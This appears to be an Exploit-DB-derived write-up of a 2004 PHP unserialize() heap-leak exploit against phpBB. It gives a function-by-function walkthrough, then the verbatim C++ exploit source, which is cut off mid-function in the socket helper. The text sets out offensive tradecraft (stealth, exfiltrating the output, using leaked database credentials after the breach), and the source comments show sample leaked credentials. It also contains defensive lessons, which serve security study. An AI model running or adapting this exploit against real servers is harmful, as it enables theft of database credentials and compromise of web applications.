PHPBB Memory Dump Exploit: Unserialize Heap Leak

PHPBB Memory Dump Exploit: Unserialize Heap Leak
What this paper is
This paper describes a vulnerability in PHP versions prior to 4.3.10 and phpBB versions prior to 2.0.11. The vulnerability lies in the unserialize() function, which can be triggered in a way that leaks information from the server's heap memory. The provided exploit is a C++ program designed to leverage this vulnerability to extract sensitive configuration data from a phpBB installation.
Simple technical breakdown
The core of the vulnerability is how PHP's unserialize() function handles malformed or specifically crafted serialized data. When processing such data, it can lead to an information leak from the heap. The exploit targets this by sending a specially crafted HTTP request to a phpBB installation. This request manipulates a cookie value, which is then processed by the vulnerable unserialize() function. The server, in response, sends back data that includes parts of its heap memory, which the exploit then parses to find interesting strings like database credentials and configuration paths.
Complete code and payload walkthrough
The provided source code is a C++ program that acts as a client to exploit the PHP vulnerability. It includes a serveur class for network communication and the main function orchestrates the exploit.
serveur Class
This class provides basic network socket functionality for a client.
createsocket(): Creates a TCP socket.- Purpose: To initialize a network connection endpoint.
- Inputs: None.
- Behavior: Calls the
socket()system call. - Output:
trueon success,falseon failure. - Mapping:
createsocket()-> Network socket initialization.
listen(unsigned short port, unsigned int nbwaitconnect): Binds the socket to a port and listens for incoming connections. (This method appears to be more for a server role, but is included in the client class).- Purpose: To prepare the socket to accept incoming connections.
- Inputs:
port(unsigned short),nbwaitconnect(unsigned int). - Behavior: Uses
bind()andlisten(). - Output:
trueon success,falseon failure. - Mapping:
listen()-> Server-side socket binding and listening.
waitconnect(): Accepts an incoming connection. (Again, server-side functionality).- Purpose: To accept a connection from a client.
- Inputs: None.
- Behavior: Uses
accept(). - Output: A pointer to a new
serveurobject representing the connection. - Mapping:
waitconnect()-> Accepting incoming network connections.
connectsocket(char *dns, unsigned short port): Connects the socket to a remote host.- Purpose: To establish a connection to the target server.
- Inputs:
dns(char pointer to hostname/IP),port(unsigned short). - Behavior: Resolves hostname, then uses
connect(). - Output:
trueon success,falseon failure. - Mapping:
connectsocket()-> Initiating a TCP connection to the target.
socketsend(char *envoi): Sends data over the connected socket.- Purpose: To transmit data to the server.
- Inputs:
envoi(char pointer to data). - Behavior: Uses
send(). - Output:
trueon success,falseon failure. - Mapping:
socketsend()-> Sending raw data over the network.
getword(char in[], unsigned int max): Reads a "word" from the socket, delimited by whitespace, newline, or carriage return.- Purpose: To read a single token of data.
- Inputs:
in(char buffer),max(maximum characters to read). - Behavior: Reads character by character until a delimiter is found.
- Output:
trueon success,falseon failure. - Mapping:
getword()-> Reading delimited string data.
getword(char in2[]): A convenience overload forgetwordusingmaxread.- Purpose: Same as
getwordbut uses a default buffer size. - Inputs:
in2[](char buffer). - Behavior: Calls
getwordwithmaxread. - Output:
trueon success,falseon failure. - Mapping:
getword(char in2[])-> Reading delimited string data with default size.
- Purpose: Same as
getline(char buf[], unsigned int maxcara): Reads a line from the socket, delimited by newline or carriage return.- Purpose: To read a full line of text.
- Inputs:
buf(char buffer),maxcara(maximum characters). - Behavior: Reads character by character until
\nor\ris encountered. - Output:
trueon success,falseon failure. - Mapping:
getline()-> Reading line-based text data.
getline(char buf2[]): A convenience overload forgetlineusingmaxread.- Purpose: Same as
getlinebut uses a default buffer size. - Inputs:
buf2[](char buffer). - Behavior: Calls
getlinewithmaxread. - Output:
trueon success,falseon failure. - Mapping:
getline(char buf2[])-> Reading line-based text data with default size.
- Purpose: Same as
ifgetchar(char *caraif): Checks if a character is available on the socket with a timeout.- Purpose: Non-blocking read check.
- Inputs:
caraif(pointer to store the character). - Behavior: Uses
select()to check for data. - Output:
trueif a character is read,falseotherwise. - Mapping:
ifgetchar()-> Non-blocking character read with timeout.
ifchargetnb(char ligne[], unsigned int aumax): Reads a specific number of bytes with a timeout. (Implementation is truncated in the provided source, but the name suggests its purpose).- Purpose: To read a fixed number of bytes with a timeout.
- Inputs:
ligne(buffer),aumax(number of bytes to read). - Behavior: Likely uses
select()andrecv(). - Output:
trueon success,falseon failure. - Mapping:
ifchargetnb()-> Reading a specific byte count with timeout.
ifchargetline(char ligne[], unsigned int lemax)/ifchargetline(char ligne[]): Reads a line with a timeout. (Truncated).- Purpose: To read a line of text with a timeout.
- Inputs:
ligne(buffer),lemax(max characters). - Behavior: Likely uses
select()andgetline(). - Output:
trueon success,falseon failure. - Mapping:
ifchargetline()-> Reading line data with timeout.
getnb(char *vect, unsigned int nb): Reads a specified number of bytes from the socket.- Purpose: To read a raw block of data.
- Inputs:
vect(buffer),nb(number of bytes). - Behavior: Uses
recv(). - Output:
trueon success,falseon failure. - Mapping:
getnb()-> Reading a block of raw bytes.
sendnb(char *vec, unsigned int longueur): Sends a specified number of bytes.- Purpose: To send a raw block of data.
- Inputs:
vec(data buffer),longueur(number of bytes). - Behavior: Uses
send(). - Output:
trueon success,falseon failure. - Mapping:
sendnb()-> Sending a block of raw bytes.
isconnect(): Checks if the socket is connected.- Purpose: To verify the connection status.
- Inputs: None.
- Behavior: Returns the
connectedflag. - Output:
trueif connected,falseotherwise. - Mapping:
isconnect()-> Checking socket connection status.
getnumsock(): Returns the socket descriptor.- Purpose: To get the underlying socket handle.
- Inputs: None.
- Behavior: Returns the
sockmember. - Output: The socket descriptor.
- Mapping:
getnumsock()-> Retrieving the socket file descriptor.
closesock(): Closes the socket.- Purpose: To terminate the network connection.
- Inputs: None.
- Behavior: Calls
closesocket(). - Output: None.
- Mapping:
closesock()-> Closing the network socket.
createbytheclass(int thesock, struct sockaddr_in thestruct): Initializes theserveurobject with an existing socket and address structure.- Purpose: To set up a
serveurobject for an already established connection. - Inputs:
thesock(socket descriptor),thestruct(sockaddr_in structure). - Behavior: Assigns the provided socket and address.
- Output: None.
- Mapping:
createbytheclass()-> Initializing with an existing socket.
- Purpose: To set up a
maxread,seconde,microseconde: Public members for configuring read buffer size and timeouts.- Purpose: To control network I/O parameters.
- Mapping:
maxread,seconde,microseconde-> Network I/O configuration.
serveur(): Constructor. Initializes members.- Purpose: Object initialization.
- Mapping:
serveur()-> Constructor.
~serveur(): Destructor. Cleans up resources.- Purpose: Object cleanup.
- Mapping:
~serveur()-> Destructor.
operator << (char *chaine): Overloaded stream insertion operator for sending strings.- Purpose: Syntactic sugar for sending strings.
- Inputs:
chaine(string to send). - Behavior: Calls
socketsend(). - Output: None.
- Mapping:
operator <<-> Sending strings via stream syntax.
operator >> (char *read): Overloaded stream extraction operator for reading strings.- Purpose: Syntactic sugar for reading strings.
- Inputs:
read(buffer to store read data). - Behavior: Calls
getline(). - Output: None.
- Mapping:
operator >>-> Reading strings via stream syntax.
Global Definitions and Helper Functions
HTTP_PORT: Defines the standard HTTP port (80).SIGNATURE_REQUEST: A buffer to hold the request signature string.SIGNATURE_REQUEST_START: The beginning part of the cookie signature (\nSet-Cookie:).DEFAULT_COOKIE_NAME: Default name for the target cookie (phpbb2mysql).END_SIGNATURE: The end part of the cookie signature (_data=).MIN_NB_LETTRE: Minimum length for a detected string (3 characters).NB_SEC_FOR_WAIT: Delay between retries (5 seconds).signaturequete[512]: Global buffer for the signature.struct url: A structure to hold parsed URL components (DNS, URI, port).- Mapping:
struct url-> URL parsing structure.
- Mapping:
parseurl(char *of): Parses a given URL string into its components.- Purpose: To extract hostname, path, and port from a URL.
- Inputs:
of(URL string). - Behavior: Iterates through the string, identifying protocol, host, port, and URI. Allocates memory for
dnsanduri. - Output: A
struct urlcontaining parsed components. - Mapping:
parseurl()-> URL string parsing.
intostr(int erf): Converts an integer to a string.- Purpose: To represent numerical values as strings.
- Inputs:
erf(integer). - Behavior: Calculates the number of digits and builds the string. Allocates memory for the string.
- Output: A dynamically allocated string representation of the integer.
- Mapping:
intostr()-> Integer to string conversion.
goodcar(char carac): Checks if a character is considered "good" (alphanumeric or specific symbols).- Purpose: To filter characters when extracting strings.
- Inputs:
carac(character). - Behavior: Compares the character against a predefined string of allowed characters.
- Output:
trueif the character is allowed,falseotherwise. - Mapping:
goodcar()-> Character validation for string extraction.
utf8decode(char *utf): Decodes URL-encoded characters (e.g.,%20to space).- Purpose: To convert URL-encoded strings back to their original form.
- Inputs:
utf(URL-encoded string). - Behavior: Iterates through the string, replacing
%XXsequences with their byte equivalents usingalphanum. Modifies the string in-place. - Output: The length of the decoded string.
- Mapping:
utf8decode()-> URL-encoding decoding.
alphanum(char *of, bool *wesh): Converts a two-character hexadecimal representation (e.g., "2A") into its corresponding byte value.- Purpose: Helper for
utf8decodeto parse hex pairs. - Inputs:
of(pointer to the two hex characters),wesh(boolean flag to indicate success). - Behavior: Parses the two hex characters and returns the byte value.
- Output: The decoded byte value, or 0x00 on failure.
- Mapping:
alphanum()-> Hexadecimal pair to byte conversion.
- Purpose: Helper for
main Function
This is the entry point of the exploit.
Initialization:
WSAStartup(MAKEWORD(2, 0), &wsadata): Initializes the Windows Sockets API.- Prints author information.
- Checks for minimum command-line arguments (
argc < 3). If not enough arguments, prints usage and exits. - Argument Parsing:
- Iterates through
argvfrom the 3rd argument (argcpt = 3). repeat: If "repeat" is found, setsrepeat = 1to loop the exploit.display_all_heap: If "display_all_heap" is found, setsdisplayheap = 1to print all detected heap data.-cookiename=: If an argument starts with "-cookiename=", it extracts the cookie name and assigns it tocookname.
- Iterates through
- Signature Construction:
strcpy(SIGNATURE_REQUEST, SIGNATURE_REQUEST_START): Starts building the signature string.strcat(SIGNATURE_REQUEST, cookname): Appends the cookie name.strcat(SIGNATURE_REQUEST, END_SIGNATURE): Appends the end of the signature marker.
nbmemread = atoi(argv[2]): Parses the second command-line argument as the initial number of bytes to read from the heap.urlparsed = parseurl(argv[1]): Parses the first command-line argument as the target URL.
Main Exploit Loop (
do { ... } while(repeat);):- Socket Creation and Connection:
http.createsocket(): Creates a new socket for the connection.http.connectsocket(urlparsed.dns, urlparsed.port): Connects to the target server. If connection fails, prints an error and exits.
- HTTP Request Construction:
- The code constructs a
GETrequest. - Crucially, it manipulates the
Cookieheader:http << cookname << "_data=s:" << intostr(nbmemread) << ":%22test1%22%3b; ...": This is the core of the exploit. It sends a cookie namedcookname_data. The value is crafted to look like a serialized PHP string (s:SIZE:"data";). TheSIZEis set tonbmemread, and the data part is a placeholder (%22test1%22%3bwhich decodes to"test1";). This malformed serialization, when processed by the vulnerableunserialize()function in PHP, triggers the heap leak.- It also sends a
_sidcookie, which is likely a standard session cookie for phpBB. - Other headers like
Host,Accept-Language,User-Agent, andConnection: closeare included.
- The code constructs a
- Response Handling:
cout << "requete effectuer ...": Indicates the request has been sent.- Signature Detection Loop:
while(!exit && http.getnb(&car,sizeof(char))): Reads the server's response byte by byte.- A sliding window (
signaturebuffer) is used to detect theSIGNATURE_REQUESTstring (e.g.,\nSet-Cookie: phpbb2mysql_data=). This string marks the beginning of the leaked heap data. - Heap Data Extraction:
- Once the signature is found, it reads the subsequent data into the
wordbuffer. - It skips a fixed number of characters (
compteur = strlen(intostr(nbmemread)) + 4;) which are part of the serialized string header. - It reads until a semicolon (
;) or the maximum expected size (nbmemread*3+1) is reached. This captured data is the leaked heap content. - If
displayheapis true, the raw leaked data is printed. nbmemread = utf8decode(word): The captured data is URL-decoded. The functionutf8decodemodifieswordin-place and returns the new length. This length is then used to updatenbmemreadfor the next iteration or for string parsing.- String Detection within Leaked Data:
- The code iterates through the decoded
wordbuffer. for(cpt=compteur;goodcar(word[cpt]);cpt++);: It identifies contiguous sequences of "good" characters (alphanumeric and specific symbols).if((cpt - compteur) > MIN_NB_LETTRE ): If the identified sequence is longer thanMIN_NB_LETTRE(3 characters), it's considered a potential sensitive string.wtmp = new char[(cpt - compteur)+1]; strncpy(wtmp,&word[compteur],cpt - compteur);: A new buffer is allocated, and the detected string is copied into it.cout <<"- string detected : " <<wtmp<<endl;: The detected string is printed to standard output.delete[] wtmp;: The temporary buffer is freed.
- The code iterates through the decoded
delete[] word;: The buffer holding the leaked data is freed.
- Once the signature is found, it reads the subsequent data into the
- Socket Closure:
http.closesock(): Closes the connection to the server. - Delay for Repeat: If
repeatis true,Sleep(NB_SEC_FOR_WAIT)pauses execution for 5 seconds before the next iteration.
- Socket Creation and Connection:
Cleanup:
WSACleanup(): Cleans up the Windows Sockets API.- Returns 0 on successful completion.
Shellcode/Payload Segment Explanation
There is no explicit shellcode or traditional payload in the sense of executable code injected into a remote process. The "payload" here is the crafted HTTP request that triggers the information leak. The "output" of the exploit is the printed sensitive strings extracted from the leaked heap memory.
Mapping of Code Fragments to Practical Purpose:
main()function: Orchestrates the entire exploit process.for(int argcpt = 3; argcpt < argc; argcpt++): Parses command-line arguments for control flags.strcpy(SIGNATURE_REQUEST, SIGNATURE_REQUEST_START); strcat(SIGNATURE_REQUEST, cookname); strcat(SIGNATURE_REQUEST, END_SIGNATURE);: Dynamically builds the string to look for in the HTTP response, identifying the start of leaked data.nbmemread = atoi(argv[2]);: Sets the initial size hint for the heap leak.urlparsed = parseurl(argv[1]);: Parses the target URL.http << "GET " << urlparsed.uri << " HTTP/1.1\nHost: " << urlparsed.dns << "\nCookie: " << cookname << "_data=s:" << intostr(nbmemread) << ":%22test1%22%3b; ...": This is the critical exploit request. It sends a crafted cookie that triggers theunserialize()vulnerability.while(!exit && http.getnb(&car,sizeof(char))) { ... signature[sizesign-1] = car; if(!strcmp(signature,SIGNATURE_REQUEST)) { ... } }: This loop reads the server response and uses a sliding window to detect theSIGNATURE_REQUEST.word = new char[nbmemread*3+1]; ... while(!exit && http.getnb(&car,sizeof(char))) { ... word[cptstr] = car; ... }: This section reads the leaked heap data into thewordbuffer.nbmemread = utf8decode(word);: Decodes URL-encoded characters within the leaked data.for(compteur = 0;compteur < nbmemread;) { for(cpt=compteur;goodcar(word[cpt]);cpt++); if((cpt - compteur) > MIN_NB_LETTRE ) { ... cout <<"- string detected : " <<wtmp<<endl; ... } ... }: This loop iterates through the decoded leaked data, identifies sequences of "good" characters, and prints them if they meet the minimum length requirement.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No local access or prior authentication is strictly required, as this is a remote information leak.
- Lab Preconditions:
- A vulnerable PHP installation (version < 4.3.10) with a phpBB (version < 2.0.11) installation.
- The target web server must be accessible over HTTP/HTTPS.
- The target server must be running a compatible operating system (likely Windows, given the
winsock.hinclude and.execompilation).
- Tooling Assumptions:
- Compiler: Borland C++ (bcc32) is specified for compilation. Modern compilers like MinGW or MSVC could likely be used with minor adjustments.
- Network Connectivity: Standard TCP/IP networking.
- Target Identification: The attacker needs to know the URL of the phpBB installation.
- Execution Pitfalls:
- PHP Version Check: The exploit is highly version-specific. Running it against updated PHP/phpBB versions will yield no results.
- Network Instability: The exploit relies on stable network connections. Intermittent connectivity can cause the exploit to fail.
- Firewall/IDS Evasion: The exploit uses standard HTTP traffic, but the specific cookie manipulation might be flagged by some security devices if signatures are in place.
- Heap Layout Variations: The effectiveness of the leak can depend on the server's heap memory layout, which can vary based on server configuration, loaded modules, and other running processes. The exploit might require tuning of the
nbmemreadparameter. - Large Responses: If the leaked data is very large, the client might run out of memory or the network buffer might overflow.
- URL Parsing Errors: Incorrectly formatted URLs provided as input could lead to crashes or incorrect behavior.
- Cookie Name Variations: If the phpBB installation uses a non-default cookie prefix, the
DEFAULT_COOKIE_NAMEand the-cookiename=argument would need to be adjusted.
- Tradecraft Considerations:
- Reconnaissance: Identify target web applications and their versions. Look for older versions of phpBB.
- Stealth: The exploit uses standard HTTP GET requests. The primary indicator would be the unusual cookie value. Network traffic analysis might reveal this.
- Data Exfiltration: The leaked data is printed to standard output. For covert exfiltration, this output would need to be redirected or captured and sent out through a separate channel.
- Post-Exploitation: The leaked information (database credentials, config paths) can be used for further attacks, such as accessing the database directly or attempting to locate and exploit other vulnerabilities.
- Expected Telemetry:
- Network Traffic: HTTP GET requests to the target URL with a specific, crafted
Cookieheader. TheCookieheader will contain a value likecookiename_data=s:SIZE:...". - Web Server Logs: Standard access logs showing the GET requests. The
User-AgentandReferer(if not explicitly set) might be visible. - Application Logs: If the web application logs cookie values or errors related to unserialization, this might be visible.
- System Logs (Server-side): Unlikely to show direct evidence of the exploit unless the vulnerability causes a crash or unhandled exception that is logged by the OS or PHP.
- Exploit Client Output: The strings detected by the exploit (database credentials, paths) will be printed to the console or redirected to a file.
- Network Traffic: HTTP GET requests to the target URL with a specific, crafted
Where this was used and when
- Discovery/Publication Date: December 17, 2004.
- Vulnerable Versions: PHP < 4.3.10, phpBB < 2.0.11.
- Context: This vulnerability was relevant in the mid-2000s. It was likely used by attackers targeting websites running older, unpatched versions of PHP and phpBB. The exploit's output directly provides database credentials and configuration file paths, making it a valuable tool for attackers aiming to compromise web applications and their underlying databases.
Defensive lessons for modern teams
- Patch Management: This is the most critical lesson. Regularly updating software, including the web server (PHP), the web application framework (phpBB), and all its dependencies, is paramount. Vulnerabilities like this are often fixed in later versions.
- Input Validation and Sanitization: While
unserialize()is a powerful feature, it must be used with extreme caution. Applications should never unserialize untrusted user input. If user input must be processed, it should be strictly validated and sanitized before being passed tounserialize(). - Least Privilege: Ensure that web application processes run with the minimum necessary privileges. Even if credentials are leaked, the impact is reduced if the compromised account has limited access.
- Web Application Firewalls (WAFs): WAFs can be configured to detect and block malicious HTTP requests, including those with unusual cookie values or patterns that might indicate an attempt to exploit
unserialize(). - Monitoring and Logging: Monitor web server and application logs for suspicious activity, such as unusual cookie values, excessive error rates, or unexpected responses.
- Secure Coding Practices: Developers should be aware of the dangers of deserialization vulnerabilities and follow secure coding guidelines. Avoid using functions like
unserialize()on data that originates from external sources without rigorous validation.
ASCII visual (if applicable)
This exploit involves a client-server interaction. A simple diagram can illustrate the flow:
+-----------------+ HTTP Request +-----------------+
| Attacker Client | ----------------------> | Target Server |
| (Exploit Tool) | (Crafted Cookie) | (PHP/phpBB) |
+-----------------+ +-------+---------+
|
| Vulnerable unserialize()
| triggers heap leak
v
+-------+---------+
| Heap Memory |
| (Sensitive Data)|
+-------+---------+
|
| HTTP Response
| (Leaked Data)
v
+-----------------+ HTTP Response +-----------------+
| Attacker Client | <---------------------- | Target Server |
| (Parses Output) | (Leaked Strings) | |
+-----------------+ +-----------------+Source references
- Paper URL: https://www.exploit-db.com/papers/697
- Raw Exploit URL: https://www.exploit-db.com/raw/697
- Original Publication Date: 2004-12-17
- Author: overdose
- Vulnerability: PHP 4.3.9 + phpBB 2.x - 'Unserialize()' Remote Information Leak
- Security Focus Archive: http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0 (referenced in the exploit comments)
Original Exploit-DB Content (Verbatim)
// Compiled version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/697.rar (phpbbmemorydump.rar)
// Source serv.cpp is at the bottom of the page - str0ke
// Notes from author:
// compile with borland c++ (freecommandlinetools) :
// bcc32 -c serv.cpp
// bcc32 bbmemorydump.cpp serv.obj
/*
*** coded by overdose ***
slythers@gmail.com
php bug in ext/standart/var_unserializer.c http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0
for read heap memorie with phpbb2 ;>
tested : phpbbmemorydump.exe "http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt
result:
- string detected : /home/virtual/site.com/phpBB/config.php
- string detected : dbname
- string detected : PT_N
- string detected : phpbb
- string detected : dbuser
- string detected : phpbb << mysql user
- string detected : dbpasswd
- string detected : phpBB_R0cKs << mysql password
- string detected : table_prefix
- string detected : phpbb_
use like :
phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]
greetz:
my crew MWA
pull the plug , vortex challenge
www.security-challenge.com
http://overdose.tcpteam.org/
slipknot , dr dre , ...
all #s-c and all i forget
compile with borland c++ (freecommandlinetools) :
bcc32 -c serv.cpp
bcc32 bbmemorydump.cpp serv.obj
*/
#include <winsock.h>
#include <iostream.h>
class serveur
{
public:
bool createsocket();
bool listen(unsigned short port,unsigned int nbwaitconnect);
serveur * waitconnect();
bool connectsocket(char *dns,unsigned short port);
bool socketsend(char *envoi);
bool getword(char in[],unsigned int max);
bool getword(char in2[]);
bool getline(char buf[],unsigned int maxcara);
bool getline(char buf2[]);
bool ifgetchar(char *caraif);
bool ifchargetnb(char ligne[],unsigned int aumax);
bool ifchargetline(char ligne[],unsigned int lemax);
bool ifchargetline(char ligne[]);
bool getnb(char *vect,unsigned int nb);
bool sendnb(char *vec,unsigned int longueur);
bool isconnect();
int getnumsock();
void closesock();
bool createbytheclass(int thesock,struct sockaddr_in thestruct);
unsigned int maxread;
unsigned int seconde;
unsigned int microseconde;
serveur();
~serveur();
void operator << (char *chaine);
void operator >> (char *read);
private:
bool connected;
bool create;
struct sockaddr_in mysock;
int sock;
};
#define HTTP_PORT 80
#define SIGNATURE_REQUEST signaturequete
#define SIGNATURE_REQUEST_START "\nSet-Cookie: "
#define DEFAULT_COOKIE_NAME "phpbb2mysql"
#define END_SIGNATURE "_data="
#define MIN_NB_LETTRE 3
#define NB_SEC_FOR_WAIT 1000*5 // 5 secondes
char signaturequete[512];
struct url{
char *dns;
char *uri;
unsigned short port;
};
struct url parseurl(char *of);
char * intostr(int erf);
bool goodcar(char carac);
unsigned int utf8decode(char *utf);
char alphanum(char *of,bool *wesh);
int main(int argc,char **argv)
{
struct url urlparsed;
serveur http;
unsigned int nbmemread;
char car;
bool repeat = 0;
bool displayheap = 0;
char *cookname = DEFAULT_COOKIE_NAME;
WSAData wsadata;
if (WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
return 1;
cout <<"coded by overdose / bad boyz coding"<<endl;
if(argc < 3)
{
cout <<"Example: phpbbmemorydump.exe http://site.com/phpbb/ 30000 -cookiename=phpbb2support > a.txt"<<endl;
return 0;
};
for(int argcpt = 3;argcpt < argc;argcpt++)
{
if(!strcmp(argv[argcpt],"repeat"))
repeat = 1;
else if(!strcmp(argv[argcpt],"display_all_heap"))
displayheap = 1;
else if(!strncmp(argv[argcpt],"-cookiename=",sizeof("-cookiename=")-1))
{
cookname= argv[argcpt] + sizeof("-cookiename=")-1;
};
};
strcpy(SIGNATURE_REQUEST,SIGNATURE_REQUEST_START);
strcat(SIGNATURE_REQUEST,cookname);
strcat(SIGNATURE_REQUEST,END_SIGNATURE);
nbmemread = atoi(argv[2]);
if(!nbmemread)
return 0;
urlparsed = parseurl(argv[1]);
if(!urlparsed.uri)
return 0;
do{
http.createsocket();
if(!http.connectsocket(urlparsed.dns,urlparsed.port))
{
cout << "can't connect to "<<urlparsed.dns<<endl;
return 0;
};
http << "GET " ;
http << urlparsed.uri ;
http << " HTTP/1.1\nHost: ";
http << urlparsed.dns ;
http << "\nCookie: ";
http << cookname;
http << "_data=s:";
http << intostr(nbmemread);
http << ":%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
http << urlparsed.dns;
http << "\nCookie: ";
http << cookname;
http << "_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
http << urlparsed.dns;
http << "\nAccept-Language: fr\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
cout <<"requete effectuer ..."<<endl;
char signature[sizeof(SIGNATURE_REQUEST)];
char *word,*wtmp;
unsigned int cpt ,sizesign;
unsigned int compteur,cptstr;
bool exit = 0;
sizesign = strlen(SIGNATURE_REQUEST);
memset(signature,'a',sizesign);
signature[sizesign] ='\0';
compteur = 0;
cptstr = 0;
while(!exit && http.getnb(&car,sizeof(char)))
{
// ajout du detecteur de heap
for(cpt = 0; cpt < (sizesign-1);cpt++)
signature[cpt] = signature[cpt+1];
signature[sizesign-1] = car;
if(!strcmp(signature,SIGNATURE_REQUEST))
{
word = new char[nbmemread*3+1];
word[cptstr] = '\0';
compteur = strlen(intostr(nbmemread)) + 4;
for(cpt = 0; cpt < compteur;cpt++)
http.getnb(&car,sizeof(char));
while(!exit && http.getnb(&car,sizeof(char)))
{
if((car == ';') || (cptstr >= (nbmemread*3)))
{
exit = 1;
continue;
};
word[cptstr] = car;
cptstr++;
word[cptstr] ='\0';
};
if(displayheap)
cout << word<<endl;
nbmemread = utf8decode(word);
for(compteur = 0;compteur < nbmemread;)
{
for(cpt=compteur;goodcar(word[cpt]);cpt++);
if((cpt - compteur) > MIN_NB_LETTRE )
{
wtmp = new char[(cpt - compteur)+1];
strncpy(wtmp,&word[compteur],cpt - compteur);
wtmp[cpt - compteur] = '\0';
cout <<"- string detected : " <<wtmp<<endl;
delete[] wtmp;
}
if(!(cpt - compteur))
cpt++;
compteur = cpt;
};
delete[] word;
};
};
http.closesock();
if(repeat)
{
cout <<endl<<"attente jusqu'a la prochaine requete ..."<<endl;
Sleep(NB_SEC_FOR_WAIT);
};
}while(repeat);
/*
delete[] urlparsed.uri; // removed extra \n's milw0rm.com
delete[] urlparsed.dns;
*/
WSACleanup();
return 0;
}
struct url parseurl(char *of)
{
struct url retour;
unsigned int taille;
char tmp;
retour.dns = 0x00;
retour.uri = 0x00;
retour.port = HTTP_PORT ;
while( *of && (*of != ':'))
of++;
if(*of && *(of+1) && *(of+2))
{
if((*(of+1) != '/') || (*(of+2) != '/'))
return retour;
of += 3;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') && (of[taille] != ':');taille++);
retour.dns = new char [taille+1];
memcpy(retour.dns,of,taille);
retour.dns[taille] = '\0';
of += taille;
if(*of == ':')
{
of++;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
tmp = of[taille];
of[taille] = '\0';
if(taille)
retour.port = atoi(of);
of[taille] = tmp;
of += taille;
};
if(!*of)
{
retour.uri = new char[2];
strcpy(retour.uri,"/");
}
else
{
retour.uri = new char [strlen(of)+1];
strcpy(retour.uri,of);
};
};
return retour;
}
char * intostr(int erf)
{
char *chaine;
int puissance;
int erf2;
if( erf >= 0)
{
puissance =0;
for(int kekette = 1;kekette<=erf;kekette = kekette*10)
{
puissance++;
};
if (puissance == 0)
{
puissance = 1;
};
chaine = new char[puissance+1];
chaine[puissance] ='\0';
for(int arf = puissance-1;arf >=0;arf--)
{
erf2 = erf % 10 ;
chaine[arf] = '0' + erf2;
erf = erf /10;
};
return chaine;
}
else
return 0;
}
bool goodcar(char carac)
{
unsigned short cpt;
if(!carac)
return 0;
// i hate do like this :/
char *goodcar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>é@à)]=}è[_-{#&*\\/-+~'ç$%.:;|^~$,!?\"\'\t\r\n ";
for(cpt = 0;(goodcar[cpt] != '\0') && (goodcar[cpt] != carac);cpt++);
if(goodcar[cpt] == carac)
return 1;
return 0;
}
unsigned int utf8decode(char *utf)
{
char *r;
char *w;
char tmp;
bool han;
r = w = utf;
while(*r)
{
if(*r =='%')
{
tmp = alphanum(r+1,&han);
if(han)
{
*w = tmp;
r += 2;
}
else
*w = *r;
}
else
*w = *r;
w++;
r++;
};
*w = '\0';
return (w-utf);
}
char alphanum(char *of,bool *wesh)
{
unsigned char retour;
retour = 0x00;
*wesh = 0;
if(!(*of && *(of+1)))
return 0x00;
if((*of >= 'a') && (*of <= 'f'))
retour = ((*of - 'a') +10) * 0x10;
else if((*of >= 'A') && (*of <= 'F'))
retour = ((*of - 'A') +10) * 0x10;
else if((*of >= '0') && (*of <= '9'))
retour = (*of - '0') * 0x10;
else
return 0x00;
of++;
if((*of >= 'a') && (*of <= 'f'))
retour += ((*of - 'a') +10);
else if((*of >= 'A') && (*of <= 'F'))
retour += ((*of - 'A') +10);
else if((*of >= '0') && (*of <= '9'))
retour += (*of - '0');
else
return 0x00;
*wesh = 1;
return retour;
}
//////////////////////////////////
/*
#include <winsock.h>
#include <string.h>
class serveur
{
public:
bool createsocket();
bool listen(unsigned short port,unsigned int nbwaitconnect);
serveur * waitconnect();
bool connectsocket(char *dns,unsigned short port);
bool socketsend(char *envoi);
bool getword(char in[],unsigned int max);
bool getword(char in2[]);
bool getline(char buf[],unsigned int maxcara);
bool getline(char buf2[]);
bool ifgetchar(char *caraif);
bool ifchargetnb(char ligne[],unsigned int aumax);
bool ifchargetline(char ligne[],unsigned int lemax);
bool ifchargetline(char ligne[]);
bool getnb(char *vect,unsigned int nb);
bool sendnb(char *vec,unsigned int longueur);
bool isconnect();
int getnumsock();
void closesock();
bool createbytheclass(int thesock,struct sockaddr_in thestruct);
unsigned int maxread;
unsigned int seconde;
unsigned int microseconde;
serveur();
~serveur();
void operator << (char *chaine);
void operator >> (char *read);
private:
bool connected;
bool create;
struct sockaddr_in mysock;
int sock;
};
bool serveur::createsocket()
{
if (create)
return 0;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock <0)
{
create = 0;
return 0;
};
create = 1;
return sock;
}
bool serveur::listen(unsigned short port, unsigned int nbwaitconnect)
{
int test;
memset(&mysock, 0, sizeof(mysock));
mysock.sin_family = AF_INET ;
mysock.sin_addr.s_addr = htonl(INADDR_ANY);
mysock.sin_port = htons(port);
test = bind(sock,(sockaddr *) &mysock,sizeof(mysock));
if (test <0)
{
closesock();
return 0;
};
listen(sock,nbwaitconnect);
return 1;
}
serveur * serveur::waitconnect()
{
struct sockaddr_in astruct;
int taille;
int asock;
serveur * newsock ;
taille = sizeof(astruct);
asock = accept(sock, (sockaddr *) &astruct,&taille);
newsock = new serveur ;
newsock->createbytheclass(asock,astruct);
return newsock;
}
bool serveur::connectsocket(char *dns,unsigned short port)
{
struct hostent *hoste;
int test;
memset(&mysock, 0, sizeof(mysock));
if(!(hoste = gethostbyname(dns)))
mysock.sin_addr.s_addr = inet_addr(dns);
else
memcpy(&(mysock.sin_addr),hoste->h_addr,hoste->h_length);
mysock.sin_family = AF_INET ;
mysock.sin_port = htons(port);
test = connect(sock,(struct sockaddr *) &mysock , sizeof(mysock));
if(test <0)
return 0;
connected = 1;
return 1;
};
bool serveur::socketsend(char *envoi)
{
int veri;
int taiverif;
